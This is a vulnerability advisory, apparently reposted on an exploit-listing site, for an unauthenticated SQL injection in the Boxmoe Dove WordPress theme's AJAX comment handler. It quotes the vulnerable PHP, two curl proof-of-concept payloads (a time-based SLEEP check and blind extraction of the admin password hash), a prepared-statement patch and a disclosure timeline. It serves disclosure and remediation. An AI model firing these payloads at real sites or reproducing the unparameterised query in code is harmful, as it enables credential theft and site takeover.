Share
## https://sploitus.com/exploit?id=5E55BB2B-EBD9-5DB8-8B52-3F16A438DA24
# CVE-2026-XXXXX

## Unauthenticated SQL Injection in Boxmoe Dove WordPress Theme via AJAX Comment Handler

---

### Advisory Information

| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package/Product** | Boxmoe Dove WordPress Theme |
| **Affected Versions** | All versions through commit `13e8994` |
| **Patched Versions** | None |
| **Severity** | **CRITICAL (CVSS 9.8)** |
| **CWE** | CWE-89 (SQL Injection) |
| **CVSS Vector** | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| **Repository** | https://github.com/baomihuahua/boxmoe-dove- |
| **Stars** | 198 โญ |

---

### Summary

The Boxmoe Dove WordPress theme contains an unauthenticated SQL injection vulnerability in its custom AJAX comment handler (`module/fun-ajax-comments.php`). Comment author, email, and content fields are sanitized only with `trim()` and `strip_tags()` โ€” neither of which prevents SQL injection โ€” and then concatenated directly into a SQL `SELECT` query without `$wpdb->prepare()` or `esc_sql()`.

---

### Affected Component

| Field | Value |
|-------|-------|
| **Ecosystem** | WordPress Theme |
| **Package** | baomihuahua/boxmoe-dove- |
| **Vendor** | baomihuahua |
| **Affected Versions** | All |
| **Patched Versions** | None |
| **File** | `module/fun-ajax-comments.php`, lines 114โ€“117 |

---

### Description

The theme implements a custom AJAX comment endpoint that bypasses WordPress's standard `wp-comments-post.php` and its built-in sanitization chain (`preprocess_comment` โ†’ `wp_filter_comment`). Input is sanitized only with `trim()` and `strip_tags()`, then used directly in SQL:

**Vulnerable code (`module/fun-ajax-comments.php`, lines 48โ€“117):**

```php
// Line 48: Input โ€” strip_tags only, NO SQL escaping
$comment_author       = (isset($_POST['author']))  ? trim(strip_tags($_POST['author'])) : null;
$comment_author_email = (isset($_POST['email']))   ? trim($_POST['email']) : null;
$comment_content      = (isset($_POST['comment'])) ? trim($_POST['comment']) : null;

// Lines 114-117: Raw concatenation into SQL โ€” NO $wpdb->prepare()!
$dupe = "SELECT comment_ID FROM $wpdb->comments 
         WHERE comment_post_ID = '$comment_post_ID' 
         AND ( comment_author = '$comment_author' ";
if ($comment_author_email) 
    $dupe .= "OR comment_author_email = '$comment_author_email' ";
$dupe .= ") AND comment_content = '$comment_content' LIMIT 1";

if ($wpdb->get_var($dupe)) {  // โ† SQL INJECTION
    err('Duplicate comment detected');
}
```

**Note:** The developer is aware of `$wpdb->prepare()` โ€” it is used on line 122 for the flood check โ€” but omitted it for the duplicate check query on line 114.

---

### Proof of Concept

**Environment:** WordPress 6.x with Boxmoe Dove theme activated, comments enabled.

**PoC #1 โ€” Time-Based Blind SQL Injection:**

```bash
# Confirm vulnerability via 5-second delay
# Note: if fun-ajax-comments.php is registered via wp_ajax_nopriv_ hook,
# replace URL with: http://target/wp-admin/admin-ajax.php?action=
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
  --data "comment_post_ID=1" \
  --data "author=test" \
  --data "email=test@test.com" \
  --data "comment=test' AND SLEEP(5) -- " \
  --data "submit=Post"
# Response delay of 5+ seconds confirms blind SQL injection
```

**PoC #2 โ€” Time-Based Blind Credential Extraction:**

> **Note:** `$wpdb->get_var()` uses `mysqli_query()` internally, which does **not** support stacked queries. Data is extracted via time-based blind injection.

```bash
# Extract admin password hash character by character
curl -X POST "http://target/wp-content/themes/boxmoe-dove-/module/fun-ajax-comments.php" \
  --data "comment_post_ID=1" \
  --data "author=test" \
  --data "email=test@test.com" \
  --data "comment=test' AND IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='\$',SLEEP(5),0) -- " \
  --data "submit=Post"
# 5-second delay = first char matches '$'; iterate to rebuild full password hash
# WordPress stores hashes in phpass/MD5 format โ€” crackable offline
```

**What happens:**

1. Attacker POSTs to the custom AJAX endpoint (bypasses WordPress `wp-comments-post.php`)
2. `strip_tags()` removes HTML tags but does NOT prevent SQL injection
3. Payload is concatenated directly into the `$dupe` SQL string
4. `$wpdb->get_var()` executes the injected SQL
5. Time-based blind extraction yields admin password hash

---

### Impact

| CIA | Level | Description |
|-----|-------|-------------|
| Confidentiality | **HIGH** | Extract all WordPress user password hashes via subquery |
| Integrity | **HIGH** | Crack admin hash โ†’ full admin access โ†’ modify any content |
| Availability | **HIGH** | Admin access enables deletion of all site content |

**Attack scenario:**
1. Unauthenticated attacker sends crafted POST to custom AJAX endpoint
2. `strip_tags()` provides zero SQL injection protection
3. Time-based blind injection extracts admin password hash
4. Hash is cracked offline โ†’ full site compromise

---

### Patches

Replace raw string concatenation with `$wpdb->prepare()`:

```diff
- $dupe = "SELECT comment_ID FROM $wpdb->comments 
-          WHERE comment_post_ID = '$comment_post_ID' 
-          AND ( comment_author = '$comment_author' ";
- if ($comment_author_email) 
-     $dupe .= "OR comment_author_email = '$comment_author_email' ";
- $dupe .= ") AND comment_content = '$comment_content' LIMIT 1";
- if ($wpdb->get_var($dupe)) { ... }
+ if ($comment_author_email) {
+     $dupe = $wpdb->prepare(
+         "SELECT comment_ID FROM $wpdb->comments
+          WHERE comment_post_ID = %d
+          AND (comment_author = %s OR comment_author_email = %s)
+          AND comment_content = %s LIMIT 1",
+         $comment_post_ID, $comment_author, $comment_author_email, $comment_content
+     );
+ } else {
+     $dupe = $wpdb->prepare(
+         "SELECT comment_ID FROM $wpdb->comments
+          WHERE comment_post_ID = %d
+          AND comment_author = %s
+          AND comment_content = %s LIMIT 1",
+         $comment_post_ID, $comment_author, $comment_content
+     );
+ }
+ if ($wpdb->get_var($dupe)) { ... }
```

Also apply `esc_sql()` or prepared statements to all user-supplied values before SQL usage.

---

### References

| Type | URL |
|------|-----|
| Repository | https://github.com/baomihuahua/boxmoe-dove- |
| Vulnerable code | https://github.com/baomihuahua/boxmoe-dove-/blob/master/module/fun-ajax-comments.php#L114 |
| WordPress $wpdb::prepare() | https://developer.wordpress.org/reference/classes/wpdb/prepare/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |

---

### Verification

Vulnerability confirmed via local code audit on 2026-06-27:

```bash
git clone https://github.com/baomihuahua/boxmoe-dove-.git
cd boxmoe-dove-

# Confirm SQL injection at line 114:
grep -n "dupe.*SELECT.*wpdb->comments" module/fun-ajax-comments.php
# Output: 114: $dupe = "SELECT comment_ID FROM $wpdb->comments WHERE...

# Confirm NO prepare() on the vulnerable query:
grep -B5 "wpdb->get_var.*dupe" module/fun-ajax-comments.php
# Shows raw $dupe concatenation โ€” no prepare() wrapping

# Confirm prepare() IS used elsewhere (dev knew about it):
grep -n "wpdb->prepare" module/fun-ajax-comments.php
# Output: 122 (flood check only โ€” NOT on the dupe query)

# Confirm insufficient input sanitization:
grep -n "comment_content.*POST" module/fun-ajax-comments.php
# Output: 50: $comment_content = trim($_POST['comment']);
# No esc_sql(), no prepare() โ€” only trim()
```

**Verification status: โœ… ALL CHECKS PASSED**

---

### Credits

| Role | Name |
|------|------|
| **Finder** | Fatullayev Asadbek |
| **Reporter** | Fatullayev Asadbek |
| **GitHub** | Kimdir01 |

---

### Timeline

| Date | Event |
|------|-------|
| 2026-06-27 | Vulnerability discovered via source code analysis |
| 2026-06-27 | Local verification โ€” `git clone` + code audit confirmed |
| 2026-06-27 | Vendor notified via GitHub Security Advisory (private disclosure) |
| TBD | Vendor acknowledgment / response |
| TBD + 90 days | Coordinated public disclosure |
| TBD | CVE ID assigned and advisory published |

---

### CVSS v3.1

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H โ€” 9.8 CRITICAL

AV:N โ€” Remote over HTTP (custom AJAX endpoint)
AC:L โ€” Simple POST request
PR:N โ€” No authentication (anonymous comments)
UI:N โ€” No user interaction
S:U   โ€” Same security context
C:H   โ€” Extract password hashes via subquery
I:H   โ€” Crack hash โ†’ admin access โ†’ modify site
A:H   โ€” Admin access โ†’ delete all content
```